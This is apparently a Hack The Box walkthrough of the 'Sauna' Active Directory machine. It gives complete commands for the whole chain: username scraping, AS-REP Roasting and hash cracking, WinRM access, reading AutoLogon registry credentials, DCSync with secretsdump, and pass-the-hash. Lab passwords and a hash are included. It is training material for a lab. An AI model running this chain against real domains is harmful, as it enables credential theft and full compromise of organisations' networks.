Sauna

Overview

Sauna is an Easy-difficulty Windows Active Directory domain controller for EGOTISTICAL-BANK.LOCAL. The attack chain begins with OSINT: the company website’s About page lists employee full names that, converted to the standard flastname AD format, produce a valid username list. One account, fsmith, has the UF_DONT_REQUIRE_PREAUTH flag set, allowing AS-REP Roasting — an offline hash crack recovers the password Thestrokes23 and grants a WinRM shell. From there, a Windows AutoLogon registry key stores the plaintext password for svc_loanmgr, a service account with DS-Replication rights. A DCSync against the domain controller dumps the Administrator NTLM hash, which is passed directly to WinRM for full domain compromise.

Machine Matrix

High Real-Life score reflects the AS-REP Roasting, AutoLogon registry credential leak, and DCSync chain — all standard AD misconfigurations found in production environments; no CVE, no custom code, moderate enumeration.

Recon

Port	Service	Notes
53/tcp	DNS	domain EGOTISTICAL-BANK.LOCAL
80/tcp	HTTP	IIS — company website
88/tcp	Kerberos	domain controller
135/tcp	MSRPC	endpoint mapper
139/445/tcp	SMB	Windows shares
389/tcp	LDAP	Active Directory
3268/tcp	LDAP Global Catalog
5985/tcp	WinRM	remote management

nmap -p- --min-rate=1000 -T4 -Pn 10.10.10.X
nmap -p53,80,88,135,139,389,445,3268,5985 -sC -sV -Pn 10.10.10.X

The Kerberos, LDAP, SMB, and WinRM spread confirms a domain controller. Port 80 hosting a public company website is the unusual element — a common source of employee OSINT.

Enumeration

Confirm the domain name via an anonymous LDAP bind:

ldapsearch -x -H ldap://10.10.10.X -s base namingContexts

The domain is EGOTISTICAL-BANK.LOCAL. The website’s About page lists the entire team with full names. Scrape them:

curl -s http://10.10.10.X/about.html | grep -oE '[A-Z][a-z]+ [A-Z][a-z]+' | sort -u

This returns: Fergus Smith, Hugo Bear, Bowie Taylor, Shaun Coins, Sophie Driver, Steven Kerb. Convert each to the standard AD flastname format and save the list:

fsmith
scoins
hbear
btaylor
sdriver
skerb

With a candidate username list, run AS-REP Roasting — if any account has Kerberos pre-authentication disabled, the DC will return an encrypted ticket for free:

impacket-GetNPUsers EGOTISTICAL-BANK.LOCAL/ -usersfile users.txt -dc-ip 10.10.10.X -format hashcat -no-pass

fsmith returns a $krb5asrep$23$ hash. Save it and crack it offline against rockyou.txt:

hashcat -a 0 -m 18200 fsmith.hash /usr/share/wordlists/rockyou.txt --force

The crack recovers fsmith:Thestrokes23 in seconds.

Foothold

Verify the credentials grant WinRM access and read the user flag in one shot:

netexec winrm 10.10.10.X -u fsmith -p Thestrokes23 -x 'type C:\Users\FSmith\Desktop\user.txt'

User flag

type C:\Users\FSmith\Desktop\user.txt   # HTB{...}

A WinRM shell as fsmith and the user flag are ours.

Privilege Escalation

From the fsmith WinRM session, query the Windows AutoLogon registry key — a setting that stores credentials in plaintext so the machine can log in at boot without user interaction:

netexec winrm 10.10.10.X -u fsmith -p Thestrokes23 -x 'reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword'

The DefaultPassword value returns Moneymakestheworldgoround! for the account EGOTISTICALBANK\svc_loanmanager. This is CWE-256 — plaintext credential storage in a world-readable registry key. Verify WinRM access with these credentials:

netexec winrm 10.10.10.X -u svc_loanmgr -p 'Moneymakestheworldgoround!' -x 'whoami'

svc_loanmgr authenticates. This account holds DS-Replication-Get-Changes and DS-Replication-Get-Changes-All on the domain — the same permissions domain controllers use to replicate password hashes (CWE-269). Run a DCSync to extract the Administrator’s NT hash directly from the DC:

impacket-secretsdump EGOTISTICAL-BANK.LOCAL/svc_loanmgr:'Moneymakestheworldgoround!'@10.10.10.X -just-dc-user Administrator

This returns Administrator’s NTLM hash. Pass it directly to WinRM — no cracking needed:

netexec winrm 10.10.10.X -u Administrator -H 823452073d75b9d1cf70ebdf86c7f98e -x 'type C:\Users\Administrator\Desktop\root.txt'

Root flag

type C:\Users\Administrator\Desktop\root.txt   # HTB{...}

Full domain compromise via DCSync and Pass-the-Hash — the domain is ours.